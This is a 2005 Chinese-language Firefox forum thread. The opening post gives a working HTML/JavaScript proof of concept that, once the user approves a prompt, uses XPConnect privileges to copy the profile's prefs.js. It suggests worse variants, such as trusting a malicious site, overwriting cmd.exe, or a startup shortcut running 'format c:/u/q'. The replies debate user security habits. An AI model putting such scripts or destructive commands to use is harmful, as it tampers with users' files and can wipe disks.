阅读:43561回复:101
应广大 Firefox 的 FANS 要求,写了一个恶意脚本的实例,大家看看
首先不要害怕,这个页面没有恶意,却展示了恶意页面的可行性。你要不放心,可以只阅读代码,而不要运行。
运行效果如下: 你只要一点击按钮,Firefox 就会提示你是否运行,如果你选择“是”,那么它将自动把你本地的 prefs.js 复制一份成为 new_prefs.js,如果你选择“否”,那么它会继续提示你 2 次。(整个过程 Firefox 都不会自动的把其中非安全的脚本抑制掉,而是让用户作出选择) 代码如下,附件是其 ZIP 版本。试试看吧 试想: 1. 如果我不是去创建一个 new_prefs.js,而是更改 hostperm.1 把恶意的网站加为 Firefox 信任的网站,那会怎么样? 2. 如果不是写 new_prefs.js,而是直接写你的 cmd.exe 会怎么样?或者在你的启动组里创建上 format c:/u/q 的快捷方式,那有会怎样? 3. 如果我不是 "onload=doBAD(3)" 而是 "onload=doBAD(10000)" 怎么办? 特别要说清楚:这个例子仅用于说明如果没有良好的安全意识,使用任何浏览器(包括 Firefox)都是不安全的。不是攻击 Firefox 的安全性。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title></title> <script type="text/javascript"> function doREAD(f) { var is = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream); is.init(f, 0x01, 00004, null); var sis = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream); sis.setInputStream(is); var output = sis.readBytes(sis.available()); return output; } function doWRITE(f, data) { var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream); // use 0x02 | 0x10 to open file for appending. foStream.init(f, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate foStream.write(data, data.length); foStream.close(); } function doBAD(count) { for (var i = 0; i < count; ++i) { try { var pm = netscape.security.PrivilegeManager; pm.enablePrivilege('UniversalXPConnect'); var profs = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile); var new_profs = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile); profs.append('prefs.js'); new_profs.append('new_prefs.js'); data = doREAD(profs); doWRITE(new_profs, data); alert('File copied from [' + profs.path + '] to [' + new_profs.path + '] !'); break; } catch(ex) { // alert(ex); } } } </script> </head> <body> <button onclick="doBAD(3)">Copy prefs.js to new_prefs.js</button> </body> </html> |
|
|
1楼#
发布于:2005-06-07 18:41
说起浩方,我觉得我想的方法比较BT,
替换IE的OCX 插件(我也不清楚叫什么,反正得有个接口) 你的程序用IE,用去吧! 到我的机器上,还不是乖乖的变成火狐的。 just Dreaming……等待高手ING…… 是不是实现几个接口函数就行啊?(我是编程菜鸟,别砸我) |
|
|
2楼#
发布于:2005-06-07 18:41
PS:凡是问问题不遵照以下说明的,都是大白痴。不知道这样骂一下有没有点效果
![]() 请大家在论坛中发问时使用尽量清晰明了的语言来描述你的问题和问题的标题,同时注明你所使用的操作系统和Firefox版本,以及所涉及的扩展、插件、第三方软件和相关网站,这样你才有可能得到及时和准确的帮助。 |
|
3楼#
发布于:2005-06-07 18:41
我们不能责怪用户喜欢乱点是的。
其实论坛上都有新手指南,比如本论坛的 https://www.firefox.net.cn/newforum/viewtopic.php?t=9 说的清清楚楚 请大家在论坛中发问时使用尽量清晰明了的语言来描述你的问题和问题的标题,同时注明你所使用的操作系统和Firefox版本,以及所涉及的扩展、插件、第三方软件和相关网站,这样你才有可能得到及时和准确的帮助。 可是有人照做吗?还不是都贴张谁都看不明白的错误图,其它的要你去逼供? 程序员自己还不是一样,我看到在开发人员的论坛上问问题的,也是这个德性,上来就是一句:我的程序老死机,怎么办啊? 我想这个只能从人性上去解释了 ![]() |
|
4楼#
发布于:2005-06-07 18:41
看到提示后,点“是”或者“否”,这是用户的权利,我想大家也不用为此操心了。那个不是我们该操心的事情。再争论也没有结果的。
我认为现在的重点是没有提示而自动运行的恶意代码,如果谁能搞出来,那时候大家再讨论吧。 |
|
5楼#
发布于:2005-06-07 18:41
呵呵,99% 的用户根本就会点是,你那个安全手段再完备有什么用?只是开发人员自己意淫的玩物。 用户中了毒,你能跟他说,这都怪你自己操作不当,我一点责任都没有? 现在是要解决问题,不是撇清责任。用户就这样,开发人员应当想出办法来保护他们,不能要求用户是计算机专家。想想看在选项里提供 USE SSL 2.0、USE SSL 3.0、TLS 1.0,这有什么用?有几个人知道 SSL 2.0 和 SSL 3.0 有什么差别、TLS 是什么玩意啊?这里有人知道吗? 市场空间就在这里。至于如何做到,那是你们开发人员的事情。 也许我们可以把浏览器做成硬盘还原卡那样,第一次设置好以后,重新打开就覆盖一切修改;或者在单独的虚拟机里运行,等等。 |
|
6楼#
发布于:2005-06-07 18:41
|
|
|
7楼#
发布于:2005-06-07 18:41
个人认为最大的危险在于不良的使用习惯,如果都能做到以下几点: 现在最多只能使用Power User用户组, User用户组限制太多了。不能运行大多数继承应用程序,不能随时安装软件卸载,用别的用户安装了软件还不一定能够用。 这个是由社会关系决定,我没有那么大能力劝服我所有的朋友不用QQ。再说也要支持国产。ICQ出来那么早,在中国还不是没有市场。QQ能占领国内市场,并不受开放协议的影响。 [quote="hh9527"]8. 不使用非浏览器的 IE 外壳(例如:浩方对战平台),因为它可能会导致安全级别的降低以及强迫你访问某些站点。 [/quote] 浩方太恶心了,还有QQ就常常用IE外壳调出广告,迅雷广告也是用的IE外壳,Realplayer也是,WMP也是。 总结: 完了,这样下去确实已经死了。 |
|
|
8楼#
发布于:2005-06-07 18:41
同意mopz0506,对于有一定安全意识的人,使用IE 或 FF的区别是不大的,像我用Maxthon很久了也没中过招,从这方面来说我使用FF的迫切性就不很强。
当然,也有像hh9527所说看见对话框就点Yes的人,这样的人我们就拿他没办法了。 不过使用IE时,更多的人是虽然前几次点了“否”,但在不断弹出的对话框的骚扰下终于点了“是”。abc@home提到过修改注册表的方法来防止ActiveX的骚扰,但懂得这样做的人又有多少呢? 而使用FF时则这不会发生这种情况,对于这部分人我们为什么不推荐他们使用FF呢? 我相信这样的人还是不少的,因此FF为提高安全性所作的努力并非完全白费。 |
|
|
9楼#
发布于:2005-06-07 18:41
|
|
10楼#
发布于:2005-06-07 18:41
你说这么多都正确,但也都是废话 ![]() 你给个对话框,上书三七共二十一个斗大的大字:将要在你的机器上装恶意插件,点是接受,点否拒绝。 你认为用户会点否吗?错,总有一批人会去点是。 安全问题要解决的是这一部分人的问题。懂得去点否的那批人,用什么浏览器都无所谓的。 |
|
11楼#
发布于:2005-06-07 18:41
嗬嗬,有得就有失
|
|
12楼#
发布于:2005-06-07 18:41
系统安全确实主要在于用户自身,Unix系统为什么比较安全,因为对于普通用户,Unix系统只开放了很少的权限。比如普通用户无法运行mount程序,也就是无法挂载软驱、光驱、USB设备等等。当然比较新的Linux系统可以在Xwindow中自动加载移动设备,但同时就降低了系统的安全性,因为需要sudo(名字可能有误)这样的操作临时提升用户权限。 可以说,安全性和易用性之间是有一定矛盾的。比如访问这个论坛,如果一味强调安全性,禁用cookie,那我们就只能每浏览一个页面就要输入一遍用户名和密码了。 |
|
13楼#
发布于:2005-06-07 18:41
|
|
|
14楼#
发布于:2005-06-07 18:41
hh9527: 你这几条相当于要某些人去死 ![]() 客观地说,想要用户对安全负责是不可能起到任何效果的。 明年的 CPU 硬件支持虚拟机,看看能不能把比较危险的应用软件单独放到一个隔离区域里运行,这才是正路。 |
|
上一页
下一页